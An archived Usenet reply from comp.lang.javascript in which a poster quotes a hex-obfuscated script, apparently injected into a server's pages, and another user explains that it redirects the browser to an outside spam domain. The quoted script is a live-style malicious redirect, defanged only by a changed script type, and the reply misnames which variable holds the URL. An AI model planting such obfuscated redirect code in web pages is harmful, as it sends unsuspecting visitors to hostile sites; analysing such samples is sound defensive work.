Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.javascript > #23134
| Path | csiph.com!usenet.pasdenom.info!aioe.org!eternal-september.org!feeder.eternal-september.org!news.eternal-september.org!.POSTED!not-for-mail |
|---|---|
| From | "ViLco" <villiber@tin.it> |
| Newsgroups | comp.lang.javascript |
| Subject | Re: Can anyone decode this malware script? |
| Date | Mon, 17 Feb 2014 16:45:19 +0100 |
| Organization | A noiseless patient Spider |
| Lines | 28 |
| Message-ID | <ldtaqf$hr$1@dont-email.me> (permalink) |
| References | <ldt9ai$j4h$2@speranza.aioe.org> |
| Injection-Date | Mon, 17 Feb 2014 15:45:19 +0000 (UTC) |
| Injection-Info | mx05.eternal-september.org; posting-host="939496bc1c72452e9b3ff70354484ec2"; logging-data="571"; mail-complaints-to="abuse@eternal-september.org"; posting-account="U2FsdGVkX1+UW9lvZWXLpsF+b8Z8p9b3" |
| X-MimeOLE | Produced By Microsoft MimeOLE V6.00.2900.6157 |
| X-RFC2646 | Format=Flowed; Original |
| X-Newsreader | Microsoft Outlook Express 6.00.2900.5931 |
| Cancel-Lock | sha1:CArdrN6xmq495TidXcGDggki3qw= |
| X-Priority | 3 |
| X-MSMail-Priority | Normal |
| Xref | csiph.com comp.lang.javascript:23134 |
Show key headers only | View raw
Javascript Guy" <"Javascript wrote:
> The server responds with this:
>
> ============
> <html><body><script type="text/hello">ykzjr1="\x30";
> lufrv2="\x68\x74\x74\x70\x3A\x2F\x2F\x6E\x75\x72\x73\x69\x6E\x67\x70\x68\x61\x72\x6D\x2E\x63\x6F\x6D";
> setTimeout("\x77\x69\x6E\x64\x6F\x77\x2E\x74\x6F\x70\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x68\x72\x65\x66\x3D\x6C\x75\x66\x72\x76\x32\x3B",ykzjr1);
> </script></body></html>
> =============
>
> Just in case the above would have executed for some readers, I
> replaced "javascript" with "hello" on the above line. The above
> would have given this news server a "line too long" error, so I broke
> the line after the ";" in various places (if it matters).
>
> What does that script decode to, or try to do?
I'd start by converting those hexadecimal values to the corresponding ascii
character. The string ykzjr1 gives http://nursingpharm.com, probably the
remaining part does something in order to redirect the browser there, check
it out
--
"Un pasto senza vino e' come un giorno senza sole"
Anthelme Brillat Savarin
Back to comp.lang.javascript | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
Can anyone decode this malware script? Javascript Guy <"Javascript"@Guy. com> - 2014-02-17 10:22 -0500
Re: Can anyone decode this malware script? "ViLco" <villiber@tin.it> - 2014-02-17 16:45 +0100
Re: Can anyone decode this malware script? "ViLco" <villiber@tin.it> - 2014-02-17 16:51 +0100
Re: Can anyone decode this malware script? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2014-02-18 01:21 +0100
csiph-web